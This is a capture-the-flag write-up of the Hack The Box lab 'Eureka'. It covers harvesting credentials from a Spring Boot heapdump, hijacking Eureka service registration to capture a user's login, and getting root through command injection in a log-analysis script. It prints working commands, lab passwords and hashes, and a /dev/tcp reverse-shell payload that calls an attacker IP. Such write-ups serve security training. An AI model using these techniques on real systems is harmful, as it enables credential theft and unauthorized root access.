Hack The Box / LINUX / 2025-08-30
Hack The Box — Eureka (Linux)
Spring Boot actuator heapdump leaks Eureka and user credentials, then service-registration abuse captures miranda login traffic and a log parser command injection yields root.
Target
- IP:
10.129.24.26
Recon
sudo nmap -sC -sV 10.129.24.26 -p- -T5 -v
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d6:b2:10:42:32:35:4d:c9:ae:bd:3f:1f:58:65:ce:49 (RSA)
| 256 90:11:9d:67:b6:f6:64:d4:df:7f:ed:4a:90:2e:6d:7b (ECDSA)
|_ 256 94:37:d3:42:95:5d:ad:f7:79:73:a6:37:94:45:ad:47 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD OPTIONS POST
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Furni | Home
8761/tcp open http Apache Tomcat (language: en)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title.
| http-auth:
| HTTP/1.1 401 \x0D
|_ Basic realm=Realm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Add furni.htb to /etc/hosts.
Spring Eureka is listening on port 8761.
If we try http://furni.htb:8761/, it asks for credentials.
Go to http://furni.htb/.
It is a furniture shopping website.
There is a contact form, a blog with comments, a checkout page with notes, and a search form on the shop page.
Tried XSS injections and SQL injections, but no result.
We can assume this site is built with Spring Boot.
Useful site:
- https://www.wiz.io/blog/spring-boot-actuator-misconfigurations
curl http://furni.htb/actuator/heapdump -o heapdump
strings heapdump | grep -Ei 'http://.*eureka'
We find:
http://EurekaSrvr:0scarPWDisTheB3st@localhost:8761/eureka/
Go to http://EurekaSrvr:0scarPWDisTheB3st@furni.htb:8761/.
This is the Eureka dashboard.
These instances are listed:
APP-GATEWAY http://localhost:8080/actuator/info
FURNI http://localhost:8082/actuator/info
USER-MANAGEMENT-SERVICE http://localhost:8081/actuator/info
Useful site:
- https://engineering.backbase.com/2023/05/16/hacking-netflix-eureka
strings heapdump | grep 'password'
We find:
{password=0sc@r190_S0l!dP@sswd, user=oscar190}!
ssh oscar190@furni.htb
Enter the discovered password.
We have a shell.
ls -l /home
There is a user miranda-wise.
cat /etc/nginx/sites-available/default
We notice:
location = /actuator/heapdump {
alias /opt/heapdump/heapdump;
}
location = /favicon.ico { access_log off; log_not_found off; }
location /static/ {
root /var/www/web;
}
cd /var/www/web
ls -la
drwxrwxr-x 7 www-data developers 4096 Mar 18 21:19 .
drwxr-xr-x 4 root root 4096 Apr 10 07:25 ..
drwxrwxr-x 6 www-data developers 4096 Mar 18 21:17 cloud-gateway
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Eureka-Server
drwxrwxr-x 5 www-data developers 4096 Aug 5 2024 Furni
drwxrwxr-x 6 www-data developers 4096 Jul 23 2024 static
drwxrwxr-x 6 www-data developers 4096 Mar 19 22:07 user-management-service
tar -cvf /dev/shm/test.tar user-management-service/
Download test.tar.
tar xvf test.tar
In application.properties we notice:
spring.jpa.hibernate.ddl-auto=none
spring.datasource.url=jdbc:mysql://localhost:3306/Furni_WebApp_DB
spring.datasource.username=oscar190
spring.datasource.password=0sc@r190_S0l!dP@sswd
spring.datasource.driver-class-name=com.mysql.cj.jdbc.Driver
spring.jpa.properties.hibernate.format_sql=true
mysql -h 127.0.0.1 -u oscar190 -p
Enter the password.
show databases;
use Furni_WebApp_DB;
show tables;
select * from users;
Create a hash file with this content:
k.mossab110@eloquia.htb:$2a$10$J4yap5ZxviliZO9jBCuSdeD.7LzL3/njVpNhnG85HCcwA05ulUrzW
lorra199@gmail.com:$2a$10$DgUDWpxipW2Yt7UcKxzvweB7FXoV/LFxlJG8yuL56NyUMMLr5uBuK
mwood@gmail.com:$2a$10$3LDYl5QEt4K4u8vLWMGH8eDA/fNKVquhHNbyijaDzzueKHAwi6bHO
roberto0xd@outlook.com:$2a$10$4TLCSlEfYrNDFfPDQ5z4p.S6gImA8NKAGn2tyqLJyG71l9iQoTDhu
miranda.wise@furni.htb:$2a$10$T4L873JALnbXH10tq.mEbOOVYmZPLlBBSeD1h2hqAeX6nbTDXMyqm
oscar190@furni.htb:$2a$10$ye9a40a7KOyBJKUai2qxY.fcfVQGlFTM3SVSVcn82wxQf/2zYPq96
nya190@furni.htb:$2a$10$GZQOgzb4N1xVs3ALpnuqGeId5/mZLL8pv5GlkRzJfxdFxO/JIkIaK
logok12976@pelung.com:$2a$10$J93xmU0.yP0/oZmoV9K4u.XvYHtl.kunSX9xoe2RACqKcitM4OjlC
./hashcat-6.2.6/hashcat.bin -a 0 -m 3200 ./rockyou.txt --username
They do not crack.
ps aux | grep miranda
root 49263 0.0 0.0 8784 3800 pts/0 S 17:49 0:00 su miranda-wise
miranda+ 51754 0.0 0.1 8672 5532 pts/0 S+ 17:50 0:00 bash
root 783314 0.0 0.2 13972 8744 ? Ss 20:32 0:00 sshd: miranda-wise [priv]
miranda+ 783359 0.0 0.2 19192 9772 ? Ss 20:33 0:00 /lib/systemd/systemd --user
miranda+ 783363 0.0 0.0 169724 3504 ? S 20:33 0:00 (sd-pam)
miranda+ 783492 0.0 0.1 13972 5736 ? S 20:33 0:00 sshd: miranda-wise@pts/1
miranda+ 783493 0.0 0.1 8276 4868 pts/1 Ss+ 20:33 0:00 -bash
root 849126 0.0 0.2 13940 8596 ? Ss 21:24 0:00 sshd: miranda-wise [priv]
miranda+ 849256 0.0 0.1 14072 5704 ? S 21:25 0:00 sshd: miranda-wise@pts/4
miranda+ 849257 0.0 0.1 8408 5012 pts/4 Ss 21:25 0:00 -bash
root 948245 0.0 0.0 2608 596 ? Ss 22:45 0:00 /bin/sh -c /opt/scripts/miranda-Login-Simulator.sh
root 948246 0.0 0.0 6892 3272 ? S 22:45 0:00 /bin/bash /opt/scripts/miranda-Login-Simulator.sh
oscar190 948276 0.0 0.0 6432 720 pts/5 S+ 22:45 0:00 grep --color=auto miranda
miranda-Login-Simulator.sh looks suspicious.
We can infer there is a script that performs a login as miranda.
Endpoint /login is handled by USER-MANAGEMENT-SERVICE.
The idea is to register a fake instance in Eureka under USER-MANAGEMENT-SERVICE that points to our own server.
So when miranda logs in, her request may be routed to us.
We can register an instance through the Eureka server API.
See script attachments/test.py.
python3 test.py
If we wait a little and go to http://furni.htb:8761/eureka/apps/USER-MANAGEMENT-SERVICE, we should see our fake instance.
We listen with a Flask server that dumps POST request data.
See script attachments/test_server.py.
python3 test_server.py
Wait.
We obtain:
ImmutableMultiDict([('username', 'miranda.wise@furni.htb'), ('password', 'IL!veT0Be&BeT0L0ve'), ('_csrf', 'LgKWimm30PGEfEyNJIgmORpuoznotMiW5o54PRpEygtVkjo0TDqmuF7W4sSpHy64E6USCXgIjgGOgvC71b0eWSt0-z1l9g4N')])
10.10.11.66 - - [03/May/2025 01:02:00] "POST /login HTTP/1.1" 200 -
ssh miranda-wise@furni.htb
Enter the discovered password.
We get a shell.
id
uid=1001(miranda-wise) gid=1002(miranda-wise) groups=1002(miranda-wise),1003(developers)
ls -la /opt
total 24
drwxr-xr-x 4 root root 4096 Mar 20 14:17 .
drwxr-xr-x 19 root root 4096 Apr 22 12:47 ..
drwxrwx--- 2 root www-data 4096 Aug 7 2024 heapdump
-rwxrwxr-x 1 root root 4980 Mar 20 14:17 log_analyse.sh
drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
Run:
while true; do
ps aux | grep analyse
sleep 0.5
done
At some point we get:
root 990367 0.0 0.0 7024 3436 ? S 23:20 0:00 /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
root 990368 0.0 0.0 7284 3760 ? S 23:20 0:00 /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
We see that miranda-wise is in group developers.
And group developers can modify folders in /var/www/web.
So we can modify .log files.
cat /opt/log_analyse.sh
It is a fairly long script.
The script is vulnerable to command injection in this part:
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
echo $existing_entry
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
echo $code
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
Specifically, command injection is here:
if [[ "$existing_code" -eq "$code" ]]; then
Useful sites:
- https://unix.stackexchange.com/questions/171346/security-implications-of-forgetting-to-quote-a-variable-in-bash-posix-shells
- https://unix.stackexchange.com/questions/172103/security-implications-of-using-unsanitized-data-in-shell-arithmetic-evaluation
The exploit works like this.
On target machine create file /dev/shm/rev with content:
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.115/4444 0>&1
Make it executable:
chmod +x rev
On attacker machine, start netcat listener:
nc -vlnp 4444
Add this line in /var/www/web/cloud-gateway/log/application.log:
2025-04-09T11:18:03.300Z INFO 1234 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: a[0$(/dev/shm/rev>&2)]
Wait.
We get a reverse shell as user root.